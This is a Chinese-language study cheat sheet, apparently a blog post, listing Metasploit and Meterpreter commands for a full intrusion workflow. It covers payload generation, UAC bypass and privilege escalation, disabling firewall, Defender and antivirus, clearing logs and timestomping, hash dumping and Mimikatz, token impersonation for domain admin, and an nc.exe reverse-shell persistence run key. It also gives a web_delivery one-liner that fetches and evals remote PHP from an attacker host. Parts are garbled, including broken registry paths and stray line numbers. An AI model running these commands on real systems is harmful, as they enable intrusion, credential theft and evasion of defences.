0%

Msf

MSF

payload

  1. Single:只有一段代码的payload
  2. Stages: 只用来网络连接,比较小
  3. Stager: 下载目的payload,比较小

Auxiliary

用来扫描,信息收集,枚举指纹探测。

encoders

主要对payload加密,防查杀

Nops

提高payload的稳定性和大小。

exploit

用来漏洞利用。

命令

  1. msfupdate更新msf
  2. help 查看帮助,后面可以加上指定的命令
  3. exit 退出
  4. msfconsole的-r参数可以指定一个资源脚本文件
  5. banner 查看banner信息
  6. connect 类似于msf的nc
  7. show XXX 查看模块的可用状态,在具体模块里面也是可以使用show命令
  8. search xxx 搜索模块
    1. name:搜索名称包含的
    2. platform:搜索平台
    3. cve:搜索cve
  9. use 进入某个模块
    1. 在use下面的:
    2. info查看信息
    3. show options 查看参数
    4. show target 展示目标
    5. show payloads 展示适用于当前漏洞的payload
    6. check 只是检测一下(大部分没有)
    7. back 返回上一层
    8. set 设置值
      1. target 设置目标系统
      2. payloads 设置payload
  10. db_
    1. db_status,查看连接状态
    2. db_nmap 使用namp扫描,将信息保存下来
    3. hosts 查看nmap扫描的结果 -s 查找 -c 查看列
  11. creds 查看报出来的密码
  12. vlun 查看密码
  13. setg 全局设置(只能在当前会话中有用,除非你要save了)
  14. run/exploit 执行当前模块
    1. -j 参数后台方式执行
    2. 分为Activity和Passive
  15. jobs 查看当前的任务
  16. sessions 查看当前的shell连接
    1. -i 进入session 后面指定session 编号
  17. load
    1. 加载插件,例如load openvas
    2. unload nessus 取消加载插件
  18. loadpath 加载自己写的插件
  19. route 通过指定session路由(通过得到的session入侵内网)
  20. irb:开发的接口
  21. resource 加载资源文件
  22. payload也是可以单独使用,然后使用generate生成一个payload,
    1. -b 指定坏字符,msf会智能选择encode
    2. -e 指定encode
    3. -i 编码次数
    4. -k 新的进程
    5. -x 新的模板
    6. -t 输出类型
    7. -f 输出文件
    8. -s 加指定个数的nop
  23. Meterpreter是比较高级的shell
    1. help 查看命令
    2. background 返回上一级
    3. pwd 查看目录
    4. dir和ls都是查看目录
    5. cat 查看文件
    6. mkdir 创建目录
    7. rmdir 删除目录
    8. mv,rm 移动,删除
    9. edit 编辑(类似于vi)
    10. lpwd 当前我们msf的目录
    11. lcd 移动msf执行的目录
    12. run 执行命令
    13. bgrun 后台命令
      1. tab查看支持的一些命令
      2. 通过bgrun XXX执行就可以了
    14. clearev清除日志
    15. download 下载到lpwd的目录下
    16. upload 上传(Windows下的目录需要注意需要两个\,防止转义)
    17. execute -f 命令 -i -h(执行命令) -i 交互 -h 隐藏
    18. ps查看进程
    19. getuid 查看当前的账号
    20. gesystem 强制转换为system
    21. getprivs 查看权限
    22. getproxy 获取代理
    23. getpid 查看注入的进程
    24. migrate 迁移进程 migrate pid
    25. hashdump dump下来hash值
    26. sysinfo 查看系统信息
    27. kill 杀死进程
    28. shell 获取操作系统的shell
    29. show_mount 查看分区
    30. search -f win.ini 查找文件
    31. netstat 查看开放的端口和连接
    32. arp 查看缓存
    33. route 查看路由表
    34. ldletime 查看空闲时间
    35. resource 调用资源文件(就是一些指令)
    36. record_mic 记录麦克风
    37. webcam_list 列举摄像头
    38. web_snap -i 1 -v false 查看摄像头
    39. python_execute “” 执行原生的python代码(无需环境)
    40. 我们需要先load python 进来
    41. python_import -f xxx.py 导入py代码
    42. msfconsole -x “” 一条命令执行
  24. MSF的扫描
    1. 使用内置的nmap:db_nmap 192.168.209.1
    2. auxilary模块的使用方法和exploit模块的使用方法类似
    3. 有的时候我们需要提供session(通过background返回去)
    4. 如果提示Known bug in WMI query, try migrating to another process 迁移到另一个进程再次尝试
    5. 小知识:mssql端口号可能不是1433,他可能是个随机的数,我们可以通过1434这个端口查询出真是的端口号。
  25. WMAP插件(自动扫描msf中的http模块)
    1. load wmap
    2. wmap_sites -a http://192.168.209.1
    3. -l 查看任务列表
    4. wmap_targets -t http://192.168.209.1/test
    5. wmap_run -e执行
  26. 和扫描器配合
    1. openvas/nessus/nessus
      1. 使用load openvas
        1. 使用方法比较简单,-h看看就知道了,这里不记录了
      2. 使用openvas/nessus导出的nbe文件(db_import)
  27. 客户端漏洞
    1. 使用存在漏洞的客户端进行入侵
      1. 例如使用低版本的IE访问某些页面就会被入侵
      2. 使用存在漏洞的pdf阅读器会被入侵,msf支持生成含有payload的pdf
      3. 通过flash进行入侵
      4. brewser_autopwn2这个模块集成了好用的浏览器漏洞模块,一运行相当于测试了好多的模块
      5. jre也是可能存在漏洞
      6. 安卓中也是payload在msf有的。
      7. office中的宏插入vbs感染计算机。
  28. 拥有shell之后进行后渗透测试阶段的操作
    1. Meterpreter的shell
    2. load priv 加载提权插件
    3. getsystem提权提权,如果不行的话呢很可能是UAC的访问控制
    4. local目录下的模块是提权用的
    5. ask模块是用来得到UAC允许的
      1. set payload xxx(与之前一样的payload)
      2. set filename xxx 设置一个文件名称
      3. 然后set session id 设置拿来的session
      4. exploit之后会得到一个经过UAC访问控制的session,之后我们就可以getsystem
    6. bypassuac模块
      1. set session id 设置一个Session
      2. set payload xxx和上面一个一样,有一些别的没记录,看一下就知道了。
      3. 这个模块就不会用来用户确定UAC权限的了。
      4. 也是可以获得UAC允许的session
    7. bypassuac_injection模块
      1. 这个是通过DLL注入进去的,操作的话呢还是差不多的。
    8. 通过漏洞进行账号的提权
      1. 13_053/13_081/13_097/ppr_flatten_tcp(一些杂项没有写)
        1. set payload
        2. set session id
        3. exploit
        4. 这个时候会利用漏洞提升权限
    9. vncinject这个payload是图形化的VNCshell
      1. ViewOnly这个参数改为no的话呢,你就可以进行操作了
      2. 这个payload不是所有多可以使用的
    10. 关闭UAC
      1. cmd.exe /k %windir%\System32\reg.exe ADD
        HKLMSOF TWAREMicrosoft\Windows\CurrentVersion\Policies\System N
        EnableLUA /t REG DWORD /d0 /f
        cmd.exe /k %windir%\System32\reg.exe ADD
        HKLM\SOFTWAREMicrosoft\Windows\CurrentVersion\Policies\system /N
        LocalAccountTokenFilterPolicy /t REG DWORD/d1 f
        
        1
        2
        3
        4
        5
        6
        7
        	2. 然后重启计算机
        11. 关闭防火墙:需要管理员或system权限 `netsh advfirewall set allprofiles state off`
        12. 关闭Windefend:`net stop windefend`
        13. Bitlocker 操盘加密:`manage-bde -off C`关闭C盘加密`manage-bde -status C`查看C盘加密状态
        14. 关闭DEP:`bcdedit.exe /set {current} nxAlwaysOff`
        15. 在Meterpreter中使用run killav关闭常见的杀毒软件或者`run post/windows/manage/killav`
        16.
        开启远程桌面服务 run post/windows/manage/enable. rdp 第二种方法 run getgui -e run getgui -u yuanfh -p pass run multi console. command -rC clean up 201 60824.1855.rc
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17. 让看远程桌面:`screenshot`
        18. `use espia` 然后 `screengraby`
        19. Token:
        1. 分类:
        1. 交互的Token(3389之类的)
        2. 非交互的Token(smb文件共享之类的)
        2. 注销的交互token会变成非交互的token,权限并没有改变
        3. 通过域管理员遗留的token,我们利用,然后进行管理
        4. load incognito 加载这个插件
        5. list token 列举token(需要域管理员访问过我们)
        6. impersonate_token LAB\\administrator (\\是取消转义\,后面的是我们通过列举token得到的名称)
        7. 然后我们就获取到了域管理权限
        8. `execute -f cmd.exe -i -t` -t 使用我们的token,-i是交互,-f是命令
        9. 然后我们就有域管理员的的权限
        10. 使用本机的漏洞进行提权:ms_10_015,通过已有的session通过遗留的token进行提权
        20. 添加注册表(添加nc自动启动):
        upload /usr/share/windows binaries/nc.exe C:l\windows\\system32 reg enumkey -k HKLM\softwarel\microsoft\windowsl\currentversion\run reg setval -k HKLM\softwarel\microsoft\windows\\currentversion\\run -V nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe' reg queryval -k HKLM\softwarel\microsoft\windows\\currentversion\\Run -V nc
    11. 开启防火墙策略:netsh firewall add portopening TCP 444 "test" ENABLE ALL
    12. 抓包:使用meterpreter的命令
      1. 使用命令:sniffer_start 1选择抓包的网卡编号,可以通过:sniffer_interfaces进行获取
      2. 使用:sniffer_dump 1 1.cap进行dump我们的数据包
      3. 需要注意的是我们抓包的缓冲区是有限的,所以我们要及时dump
      4. 这个智能的是不会抓取Meterpreter自己发送的数据包
      5. psnuffle这个是对之前的cap文件进行分析,但是还是wireshark会比较好一些
    13. 文件搜索
      1. search d- c:\\ -f *.ini
    14. 密码破解
      1. 首先我嗯需要通过Meterpreter获取到hash
      2. 然后我们使用:use post/windows/gather/hashdump
      3. 然后设置我们的session
      4. 然后exploit就可以了,几句可以获得hash了
      5. 然后我们使用:auxilary/analyze/jtr_crack_fast
      6. 直接run就好了
      7. 这个只是判断一些简单的密码时候否和我hash相匹配
    15. 文件的MAC时间(Modified【修改文件内容】 / Accessed【访问时间】 / Changed【权限时间修改】)
      1. touch -d "5 days ago" 1.txt将访问的时间修改文件的时间提前五天,-t 是直接修改时间戳
      2. stat 1.txt查看MAC时间状态
      3. Meterpreter实现修改时间
        1. timestomp -v 1.txt (MACE的E 是文件扇区数据修改时间)
        2. -z(-m -a -c -e) 指定时间
        3. -b 设置时间改为空
        4. -r 是递归
    16. Pivoting 跳板
      1. run autoroute -s 1.1.1.10/24进行路由转发
      2. 使用protfwd:
        1. portwfwd -add -L 1.1.1.0-l 3389 -r 2.1.1.11 -p 3389将自己的3389和2.1.1.11中间做了隧道
    17. handler模块中的exitonsession设置为false的话呢是接收到session的话呢是不会退出的。
      1. set AutoRunScript migrate -n explore.exe这段命令是session一来自动转移
    18. POST模块
      1. 扩大战果的模块
      2. run post/windwos/gather/credentials/credential_colltor
      3. post的模块大部分都是这样子的扫描查看信息的,在我们的session中
      4. run post/multi/recon/local exploit_ suggester
        1. 自动帮我们侦查本地提权的漏洞(多个)
      5. set AutoRunScript post/windows/gather/dumplist 自动执行查看用户最近使用文档(这个需要我们先转移用户)
      6. InitalAuotoRunScript 在AutoRunScript执行之前运行
      7. Meterpreter中:set hostsedit -e 1.1.1.1,www.baidu.com修改host,会自动清除缓存(缓存相对host优先级高)
        1. run winenum查看Windows的信息(可能需要高权限)
    19. 持久shell
      1. run metsvc -A(这个会写文件,安装一个服务)
      2. use exploit/multi/handler
      3. set payload windwos/metsvc_bind_tcp
      4. set rhost 192.168.209.129
      5. set lport 3333
      6. 这种相对不好用,下面的好用
      7. run persistence -X -r 192.168.209.129 -p 4444 -i 10 下次重启自动启动,延迟10s启动
    20. Mimikatz
      1. load mimikatz
      2. msv 查看用户信息
      3. kerberos 读取内存中的登录密码
      4. mimikatz_command -f modulename
    21. 还可以使用PHP脚本生成的shell反弹连接msf
      1. 在handler中使用和之前一样的使用payload:php/meterpreter/reverse_tcp
    22. Web Delivery
      1. 代码执行漏洞的利用
      2. use exploit/multi/script/web_deliery
      3. set tagert PHP(php,python…)
      4. payload:php/meterpreter/reverse_tcp
      5. 然后我们会生成一个php命令,目标有代码执行,我们就让他执行
      6. 命令类似于:php -d allow url fopen=true -r "eval(file get_ contents( 'http://192.168.21.90: 8080/'));"
      7. 然后就会反弹连接我们的msf
    23. 可以使用hidden的绑定
      1. 就是只有我们连接了才会开放端口,我们不连接的话呢是不会开启的
    24. armitage中的find attack之寻找可用的端口对应的模块,hail是全部检测下。
    25. 社会工程学
      1. setooklit
      2. 使用社会工程学攻击
      3. Wbesit attack vectors
      4. 选择身份验证的攻击
      5. 这个会克隆一个URL,然后接受表单
      6. 写到本机上面,最后跳转到真正的页面
      7. 还可以通过邮箱进行攻击